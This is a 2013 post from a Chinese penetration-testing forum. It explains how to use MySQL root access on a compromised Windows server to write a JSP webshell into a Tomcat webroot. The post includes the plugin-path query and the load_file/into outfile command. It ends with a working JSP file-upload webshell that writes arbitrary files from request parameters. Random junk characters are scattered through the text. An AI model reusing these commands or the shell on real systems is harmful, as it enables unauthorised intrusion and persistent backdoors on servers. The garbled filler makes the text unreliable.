中国网络渗透测试联盟

标题: 解决Win下MySQL root导出Webshell换行符问题 [打印本页]

作者: admin    时间: 2013-3-8 21:52
标题: 解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
1 x  {4 z8 K: P7 W4 S6 K+ y6 l" P
  S- {; p8 u+ H- s1 V首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php* L) o/ a, G0 l2 ^$ H5 E) W/ H
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
2 o& y/ M( t% d% l0 ^提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了: D! H/ R. O/ s) B1 l8 I$ L. m
1 show variables like '%plugin%';0 x6 Q' y! L  W9 r0 c" z& t; O
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功% `0 U+ \+ |9 P; u
创建自定义函数似乎被拦截,一直失败。8 C7 {! _0 l' N6 W" A# K8 w  h
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限* M% t0 _8 F* X1 w8 i8 J
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp  `" [9 n# Y. a, h
用mysql执行语句:; j7 E* ?! H$ G( B; `/ a0 f7 Q
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
; R3 Y. U; S5 G% R2 复制代码
* c' F( v, w8 N后成功。
, A' S* W" P# c* R  l$ K但是访问后得到如下提示:1 U/ E; v2 s/ T) D: }/ m8 t
​500页面/ T* ]' D% Y9 L! E' d, ?
2 f. ^& m8 P% V& {0 r
3 A) O8 e3 |' [0 K: r$ I) i
明显是MySQL的Win下版本自动添加转义符\n\r了
1 u0 g( O- V8 L这样导致程序运行的悲剧。
! @& R8 z9 I6 [& S# E从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
+ B( {/ l* W) R) V! o最后弄了这么个小脚本:! u2 M0 R* n* u& f  E: b
01 <%@ page language="java" pageEncoding="gbk"%>
) c" Y( D$ s$ N: k+ w02 <jsp:directive.page import="java.io.File"/>
' o% M. x3 S" D) B8 X03 <jsp:directive.page import="java.io.OutputStream"/>
7 S- ^# v) M% ~  u* ~8 I" H. r4 V04 <jsp:directive.page import="java.io.FileOutputStream"/>, I' d  `1 ~. i3 R& V. _' Q2 V
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
8 b/ j; n9 y2 j0 B* G8 j06 error www.2cto.com
2 o* Y  e7 i$ i07 <%}}if(i==0){%>7 h$ [3 M9 @: f5 R! e
08 ok
: D3 t8 n' ~3 r+ r7 e09 <%}%>
) i) W+ b' s& b) t% {10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">2 l( y/ A- a  {) Q! }$ ?
就可以避免转义符让JSP的马儿运行500错误了。$ ]' _. j- h* `2 Q* [





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2